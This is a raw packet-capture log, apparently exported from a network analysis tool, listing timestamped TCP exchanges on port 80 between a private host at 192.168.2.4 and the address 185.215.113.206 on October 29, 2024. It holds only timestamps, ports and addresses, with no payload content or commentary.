Oct 29, 2024 04:52:30.876189947 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.876223087 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.876251936 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.876271963 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.876322031 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.876347065 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.876377106 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.876421928 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.876455069 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.876475096 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.876502037 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.876535892 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.876565933 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.876585960 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.876607895 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.876637936 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.876682043 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.876710892 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.876751900 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.876765966 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.876794100 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.876840115 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.876873016 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.876892090 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.876915932 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.876943111 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.877031088 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.877052069 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.877079964 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.877125025 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.877159119 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.877180099 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.877203941 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.877238989 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.877274036 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.877295971 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.877326965 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.877367973 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.877402067 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.877420902 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.877454996 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.877471924 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.877506018 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.877531052 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.877548933 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.877578974 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.877613068 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.877634048 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.877655029 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.877706051 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.877739906 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.877759933 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.877791882 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.877811909 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.877846003 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.877865076 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.877896070 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.877914906 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.877948999 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.877969027 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.878001928 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.878021955 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.878057957 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.878077030 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.878108978 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.878132105 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.878165960 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.878187895 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.878206968 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.878237009 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.878292084 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.993058920 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.993136883 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.993171930 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.993205070 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.993242979 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.993290901 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.993305922 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.993334055 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.993379116 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.993415117 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.993436098 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.993458986 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.993489981 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.993525028 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.993546963 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.993562937 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.993613958 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.993649006 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.993671894 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.993693113 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.993725061 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.993752956 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.993772984 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.993796110 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.993824005 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.993859053 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.993880033 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.993896961 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.993927002 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.993982077 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.994009018 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.994044065 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.994065046 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.994096041 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.994117022 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.994149923 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.994169950 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.994189024 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.994220972 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.994263887 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.994277954 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.994313955 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.994330883 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.994385958 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.994442940 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.994486094 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.994501114 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.994534969 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.994553089 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.994585991 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.994609118 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.994642019 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.994664907 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.994724035 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.994776964 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.994811058 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.994834900 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.994858980 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.994887114 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.994919062 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.994940996 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.994961023 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.994990110 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.995023966 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.995043993 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.995063066 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.995176077 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.995214939 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.995234966 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.995254993 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.995285988 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.995352030 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.995371103 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.995404959 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.995424986 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.995444059 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.995474100 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.995510101 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.995532990 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.995568991 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.995584011 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.995613098 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.995784044 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.995817900 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.995837927 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.995857000 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.995888948 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.995923042 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.995943069 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.995959997 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.995990992 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.996022940 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.996042967 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.996062994 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.996093988 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.996128082 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.996148109 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.996171951 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.996201992 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.996237040 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.996258020 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.996282101 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.996310949 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.996342897 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.996362925 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.996386051 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.996414900 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.996471882 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.996681929 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.996714115 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.996742010 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.996762037 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.996786118 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.996820927 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.996843100 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.996869087 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.996895075 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.996927977 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.996948004 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.996973038 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.996999979 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.997035027 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.997056961 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.997086048 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.110002995 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.110048056 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.110091925 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.110091925 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.110178947 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.110296011 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.110325098 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.110356092 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.110375881 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.110399961 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.110445976 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.110487938 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.110502005 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.110542059 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.110557079 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.110583067 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.110613108 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.110661983 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.110707998 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.110754013 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.110780954 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.110815048 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.110835075 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.110857010 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.110904932 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.110951900 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.110975981 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.111018896 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.111032963 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.111066103 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.111083984 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.111118078 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.111138105 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.111161947 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.111191988 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.111234903 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.111248016 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.111280918 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.111299992 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.111349106 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.111382008 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.111424923 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.111438036 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.111465931 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.111490965 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.111525059 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.111543894 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.111567020 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.111597061 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.111638069 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.111650944 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.111675024 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.111718893 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.111752987 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.111774921 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.111793995 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.111824989 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.111855984 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.111876011 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.111897945 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.111927032 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.111968040 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.111982107 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.112005949 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.112055063 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.112088919 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.112107992 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.112134933 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.112159014 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.112191916 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.112215042 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.112235069 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.112266064 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.112308025 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.112322092 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.112349033 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.112375021 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.112409115 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.112428904 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.112451077 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.112581968 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.112615108 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.112636089 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.112660885 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.112687111 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.112725019 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.112744093 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.112766027 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.112795115 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.112837076 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.112850904 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.112876892 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.112903118 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.112936020 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.112956047 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.112978935 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.113009930 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.113051891 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.113065958 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.113091946 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.113120079 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.113154888 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.113173962 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.113200903 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.113413095 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.113445997 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.113465071 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.113486052 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.113514900 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.113548994 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.113569021 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.113588095 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.113617897 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.113658905 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.113672972 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.113697052 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.113724947 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.113765955 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.113779068 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.113806009 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.113830090 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.113871098 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.113883972 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.113910913 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.113938093 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.113986015 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.114109039 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.114142895 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.114162922 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.114186049 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.114214897 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.114249945 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.114269018 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.114293098 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.114321947 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.114357948 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.227174044 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.227217913 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.227240086 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.227266073 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.227349043 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.227390051 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.227411985 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.227437973 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.227483988 CET	80	49760	185.215.113.206	192.168.2.4
